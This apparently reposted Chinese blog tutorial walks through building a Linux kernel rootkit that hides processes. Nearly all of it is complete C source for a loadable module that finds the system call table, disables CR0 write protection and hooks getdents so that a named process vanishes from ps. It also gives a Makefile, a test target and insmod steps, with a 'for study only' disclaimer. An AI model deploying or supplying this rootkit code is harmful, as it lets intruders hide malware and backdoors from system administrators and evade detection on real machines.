rootkit:实现隐藏进程

摘要:
实现隐藏进程一般有两个方法:1,把要隐藏的进程PID设置为0,因为系统默认是不显示PID为0的进程。当查询文件或者目录的相关信息时,Linux系统用sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。

实现隐藏进程一般有两个方法:

1,把要隐藏的进程PID设置为0,因为系统默认是不显示PID为0的进程。

2,修改系统调用sys_getdents()。

Linux系统中用来查询文件信息的系统调用是sys_getdents,这一点可以通过strace来观察到,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls是通过getdents系统调用来操作的,对应于内核里的sys_getedents来执行。当查询文件或者目录的相关信息时,Linux系统用 sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信 息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:
int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数

下面是具体的实现代码:

hidep.c

1 /*
2 进程隐藏程序
3 */
4 #include <linux/module.h>
5 #include <linux/kernel.h>
6 #include <asm/unistd.h>
7 #include <linux/types.h>
8 #include <linux/sched.h>
9 #include <linux/dirent.h>//目录文件结构
10 #include <linux/string.h>
11 #include <linux/file.h>
12 #include <linux/fs.h>
13 #include <linux/list.h>
14 #include <asm/uaccess.h>
15 #include <linux/unistd.h>
18 #define CALLOFF 100
19 intorig_cr0;
20 char psname[10]="just";//需要隐藏的进程名
21 //char psname[10]="backdoor";
22 char *processname=psname;
23 
24 //module_param(processname, charp, 0);
25 struct{
26     unsigned shortlimit;
27     unsigned int base;
28 } __attribute__ ((packed)) idtr;//__attribute__ ((packed))不需要内存对齐的优化
29 
30 struct{
31     unsigned shortoff1;
32     unsigned shortsel;
33     unsigned charnone,flags;
34     unsigned shortoff2;
35 } __attribute__ ((packed)) *idt;
36 
37 struct linux_dirent{//文件结构体
38     unsigned long     d_ino;//索引节点号
39     unsigned long     d_off;//在目录文件中的偏移
40     unsigned short    d_reclen;//文件名长
41     char    d_name[1];//文件名
42 };
43 
44 void**sys_call_table;
45 
46 unsigned int clear_and_return_cr0(void)//设置CR0,取消写保护位,因为在较新的内核中,sys_call_table的内存是只读的,
47 //所以要修改系统调用表就必须设置CR0
48 {
49     unsigned int cr0 = 0;
50     unsigned intret;
51 
52     asm volatile ("movl %%cr0, %%eax"
53             : "=a"(cr0)//eax到cr0
54 );
55     ret = cr0;//
56 
57     /*clear the 16th bit of CR0,*/
58     cr0 &= 0xfffeffff;//设置CR0,第16位,WP(Write Protect),它控制是否允许处理器向标志为只读属性的内存页写入数据,
59     //0时表示禁用写保护功能
60     asm volatile ("movl %%eax, %%cr0"
61 :
62             : "a"(cr0)//输入,cr0到eax,eax到cr0
63 );
64     returnret;
65 }
66 
67 void setback_cr0(unsigned intval)
68 {
69     asm volatile ("movl %%eax, %%cr0"
70 :
71             : "a"(val)//val值给eax,eax的值给CR0,恢复写保护位
72 );
73 }
74 
75 
76 asmlinkage long (*orig_getdents)(unsigned intfd,
77                     struct linux_dirent __user *dirp, unsigned intcount);
78 
79 char * findoffset(char *start)//遍历sys_call代码,查找sys_call_table的地址
80 {  //也可以通过cat /boot/System.map-`uname -r` |grep sys_call_table  查看当前sys_call_table地址
81     char *p;
82     for (p = start; p < start + CALLOFF; p++)
83     if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')//寻找call指令
84         returnp;
85     returnNULL;
86 }
87 
88 int myatoi(char *str)//字符串转整型
89 {
90     int res = 0;
91     int mul = 1;
92     char *ptr;
93     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
94 {
95         if (*ptr < '0' || *ptr > '9')
96             return (-1);
97         res += (*ptr - '0') *mul;
98         mul *= 10;
99 }
100     if(res>0 && res< 9999)
101         printk(KERN_INFO "pid=%d,",res);
102     printk("\n");
103     return(res);
104 }
105 
106 struct task_struct *get_task(pid_t pid)//遍历进程双向循环链表,根据PID,查找需要隐藏的进程,并返回该进程控制块
107 {
108     struct task_struct *p = get_current(),*entry=NULL;
109     list_for_each_entry(entry,&(p->tasks),tasks)
110 {
111         if(entry->pid ==pid)
112 {
113             printk("pid found=%d\n",entry->pid);
114             returnentry;
115 }
116         else
117 {
118     //printk(KERN_INFO "pid=%d not found\n",pid);
119 }
120 }
121     returnNULL;
122 }
123 
124 static inline char *get_name(struct task_struct *p, char *buf)//获取进程名
125 {
126     inti;
127     char *name;
128     name = p->comm;
129     i = sizeof(p->comm);
130     do{
131         unsigned char c = *name;
132         name++;
133         i--;
134         *buf =c;
135         if (!c)
136             break;
137         if (c == '\\') {
138             buf[1] =c;
139             buf += 2;
140             continue;
141 }
142         if (c == '\n')
143 {
144             buf[0] = '\\';
145             buf[1] = 'n';
146             buf += 2;
147             continue;
148 }
149         buf++;
150 }
151     while(i);
152     *buf = '\n';
153     return buf + 1;
154 }
155 
156 int get_process(pid_t pid)//判断是否找到隐藏进程
157 {
158     struct task_struct *task =get_task(pid);
159     //char *buffer[64] = {0};
160     char buffer[64];
161     if(task)
162 {
163 get_name(task, buffer);
164     //if(pid>0 && pid<9999)
165     //printk(KERN_INFO "task name=%s\n",*buffer);
166         if(strstr(buffer,processname))
167             return 1;
168         else
169             return 0;
170 }
171     else
172         return 0;
173 }
174 
175 asmlinkage long hacked_getdents(unsigned intfd,
176                     struct linux_dirent __user *dirp, unsigned int count)//修改的系统调用,替换原来的sys_getdents
177 {
178     //added by lsc for process
179     longvalue;
180     //struct inode *dinode;
181     unsigned short len = 0;
182     unsigned short tlen = 0;
183 //struct linux_dirent *mydir = NULL;
184 //end
185     value = (*orig_getdents) (fd, dirp, count);//调用sys_getdents,返回该目录文件下目录的总字节数
186     tlen =value;
187     while(tlen > 0)
188 {
189         len = dirp->d_reclen;//当前遍历的目录的长度
190         tlen = tlen -len;
191         printk("%s\n",dirp->d_name);
192 
193         if(get_process(myatoi(dirp->d_name)) )
194 {
195             printk("find process\n");
196             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);//覆盖掉需要隐藏的进程
197             value = value -len;
198             printk(KERN_INFO "hide successful.\n");
199 }
200         if(tlen)
201             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//移到后面一个目录,继续查找是否有其他同名的需要隐藏的进程
202 }
203     printk(KERN_INFO "finished hacked_getdents.\n");
204     returnvalue;
205 }
206 
207 
208 void **get_sct_addr(void)
209 {
210 unsigned sys_call_off;
211     unsigned sct = 0;
212     char *p;
213     asm("sidt %0":"=m"(idtr));//获取中断描述符表地址
214     idt = (void *) (idtr.base + 8 * 0x80);//通过0x80中断找到system_call的服务例程描述符项,一个中断描述符8个字节
215     sys_call_off = (idt->off2 << 16) | idt->off1;//找到对应的system_call代码地址
216     if ((p = findoffset((char *) sys_call_off)))//找到sys_call_table的地址
217         sct = *(unsigned *) (p + 3);
218     return ((void **)sct);
219 }
220 
221 
222 static int filter_init(void)
223 {
224     sys_call_table =get_sct_addr();
225     if (!sys_call_table)
226 {
227         printk("get_act_addr(): NULL...\n");
228         return 0;
229 }
230     else
231         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
232     orig_getdents = sys_call_table[__NR_getdents];//保存原来的系统调用
233 
234     orig_cr0 = clear_and_return_cr0();//取消写保护位,并且返回原来的cr0
235     sys_call_table[__NR_getdents] = hacked_getdents;//替换成我们自己写的系统调用
236 setback_cr0(orig_cr0);
237     printk(KERN_INFO "hideps: module loaded.\n");
238                 return 0;
239 }
240 
241 
242 static void filter_exit(void)
243 {
244     orig_cr0 =clear_and_return_cr0();
245     if(sys_call_table)
246     sys_call_table[__NR_getdents] = orig_getdents;//恢复默认的系统调用
247 setback_cr0(orig_cr0);
248     printk(KERN_INFO "hideps: module removed\n");
249 }
250 module_init(filter_init);
251 module_exit(filter_exit);
252 MODULE_LICENSE("GPL");

对应的makefile:

1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
2 PWD:=$(shell pwd)
3 obj-m :=hidep.o
4 modules:
5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
6 clean:
7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

对应的测试程序,即要隐藏的进程: just.c

1 #include<stdio.h>
2 intmain()
3 {
4     while(1);
5     return 0;
6 }

1,编译并在后台运行程序 just.c,会发现内核给just.c随机分配了一个PID

2,此时 用ps 命令,可以清楚看到 程序just的PID。

2,编译hidep.c 生成模块hide.ko

3,把模块hide.ko,用命令 insmod 加载进内核

4,再次 用 ps 命令,发现之前的PID被隐藏

5,最后不要忘了rmmod掉hidep.ko,当然重启后内核也会把它丢了,不过最好养成不用就卸载掉的习惯。

免责声明:文章转载自《rootkit:实现隐藏进程》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Sqlite 帮助类 SQLiteHelper进程之间的通信下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux基础(08)信号通信机制

1.Linux中的信号(有32个)   信号会中断一些函数的阻塞 https://zhidao.baidu.com/question/1766690354480323100.html #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SI...

Linux 之 rsyslog

Linux 之 rsyslog 系统日志转发一、rsyslog 介绍     ryslog 是一个快速处理系统日志的程序,提供了高性能、安全功能和模块化设计。rsyslog 是syslog 的升级版,它将多种来源输入输出转换结果到目的地,据官网介绍,现在可以处理100万条信息。     特性:1.多线程        2.支持加密协议:ssl,tls,re...

动态的创建Table(Asp.net中)

      这是我刚接触Asp.Net不久的时候,有一个项目中有产品展示功能.自己以前是用asp来完成这样的功能的.当接到这样的任务时,自己不知道在Asp.Net中如何来实现此功能.后来就在别人的指点下用手动创建Table 的方法来实现.后来又还了DataList来实现了.例一    string name = "dfdfs";HtmlTable tab...

Linux 性能测试工具Lmbench详解

Linux 性能测试工具Lmbench详解 2010-06-04 16:07 佚名 评测中心字号:T|T Lmbench 是一套简易可移植的,符合ANSI/C 标准为UNIX/POSIX 而制定的微型测评工具。一般来说,它衡量两个关键特征:反应时间和带宽。Lmbench 旨在使系统开发者深入了解关键操作的基础成本。 AD:2014WOT全球软件技...

(转)linux shell 数字计算详解

代码中免不了要进行各种数据计算。抛开科学计算不提,普通的计算占地,百分比,同比,环比等需求就很常见。linux shell中进行数字计算,主要有如下几种方式: 1.bc bc是比较常用的linux计算工具了,而且支持浮点运算: [webopa@namenode-backup expensive_user]$ a=`echo 1+1 | bc` [we...

史上最全Linux提权后获取敏感信息方法

在本文开始之前,我想指出我不是专家。据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点)。下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令,做好要注重细节. 文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是...